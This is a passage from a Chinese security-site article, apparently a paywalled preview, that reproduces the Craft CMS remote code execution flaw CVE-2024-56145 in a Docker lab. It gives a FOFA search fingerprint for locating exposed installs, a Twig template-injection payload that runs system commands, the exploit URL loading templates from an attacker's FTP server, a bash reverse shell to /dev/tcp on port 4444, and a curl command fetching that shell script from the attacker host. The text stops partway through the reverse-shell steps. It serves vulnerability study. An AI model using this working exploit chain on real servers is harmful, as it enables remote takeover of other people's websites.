freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CraftCMS 远程代码执行漏洞(CVE-2024-56145)
p0et 2025-02-10 20:47:27 112797
所属地 上海

1739191584_67a9f520aff842f171776.jpg!small?1739191584796

Craft CMS 介绍:

Craft CMS 是一个强大的内容管理系统(CMS),提供了灵活的内容建模、用户管理和插件扩展功能。 它以其直观的用户界面和开发者友好的特性而闻名,非常适合构建复杂和定制化的网站。

漏洞概述:

CraftCMS 5.5.2 和 4.13.2 之前的版本存在潜在的远程代码执行漏洞。当 PHP 环境启用 register_argc_argv 时,CraftCMS 会错误地从 HTTP 请求中读取配置项,攻击者可以使用 --templatesPath 控制模板文件,并利用模板注入导致任意代码执行。

影响版本:

Craft CMS <3.9.14
Craft CMS <4.13.2
Craft CMS <5.5.2

FOFA:

icon_hash=-47932290

搭建环境:

使用docker 进行搭建,docker-compose.yml如下:

services:
 web:
   image: vulhub/craftcms:5.5.1.1
   depends_on:
    - db
   ports:
    - "8088:80"
 db:
   image: mysql:8.4
   environment: 
    - MYSQL_ROOT_PASSWORD=root
    - MYSQL_DATABASE=craftcms

执行如下命令启动docker 容器

docker-compose up -d

1739190516_67a9f0f4b8276c84683b7.png!small?1739190516907

docker 启动完成之后,访问如下路径进行安装

http://192.168.41.163:8088/admin/install

1739190567_67a9f127692ba9243c7ec.png!small?1739190567683

1739190613_67a9f155d31bc277ed69a.png!small?1739190614284

默认数据库地址为 db,用户名和密码均为 root

1739190613_67a9f155ca43af847c9a0.png!small?1739190614284

然后创建一个账户和密码

1739190626_67a9f1627a699f515e433.png!small?1739190626673

完成安装,安装完成如下:

1739190706_67a9f1b23cfb32503d636.png!small?1739190706241

复现漏洞:

准备一个index.twig文件,内容如下:

{{ ['system', 'id'] | sort('call_user_func') | join('') }}

在该文件所在的机器上开启一个ftp 服务,这里就使用kali 来测试了。

pip install pyftpdlib
python -m pyftpdlib -p 21212 -V

1739190837_67a9f2354fb85f63b11c2.png!small?1739190837513

访问目标地址

1739190882_67a9f2621edc08e7854be.png!small?1739190882236

通过发送以下请求来利用该漏洞:

http://<your-ip>:8088/?--templatesPath=ftp://<evil-ip>:21212/

这里是

http://192.168.41.163:8088/?--templatesPath=ftp://192.168.41.163:21212/

1739190931_67a9f293144e7be92edd6.png!small?1739190938305


发送数据包即可执行命令id,修改执行的命令为ls

1739190950_67a9f2a6342d4a5732151.png!small?1739190950062

再次发送数据包即可执行命令ls

1739190971_67a9f2bbe1a9379b18ac9.png!small?1739190971944

同样执行命令进行反弹shell,首先开启一个监听

1739190993_67a9f2d1915b1ee8c1aa9.png!small?1739190993511

准备一个shell.html 文件,内容如下:

bash -i >& /dev/tcp/192.168.41.163/4444 0>&1

然后在kali 上开启一个web 服务

python -m http.server 80

1739191053_67a9f30d1eb23d8255309.png!small?1739191053069

然后修改index.twig文件,内容如下:

{{ ['system', 'curl http://192.168.41.163/shell.html -o  /tmp/shell.html'] | sort('call_user_func') | join('') }}
可试读前30%内容
¥ 19.9 全文查看
9.9元开通FVIP会员
畅读付费文章
最低0.3元/天
# 漏洞 # 渗透测试 # 网络安全 # web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 p0et 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
p0et LV.4
这家伙太懒了,还未填写个人描述!
  • 31 文章数
  • 32 关注者
Apache Superset 漏洞组合利用拿权限
2025-04-03
Cacti RRDTool后台参数注入导致远程代码执行漏洞(CVE-2025-24367)
2025-04-02
Mage-AI 不安全的默认身份验证设置导致0day远程命令执行漏洞(CVE-2025-2129)
2025-03-25
文章目录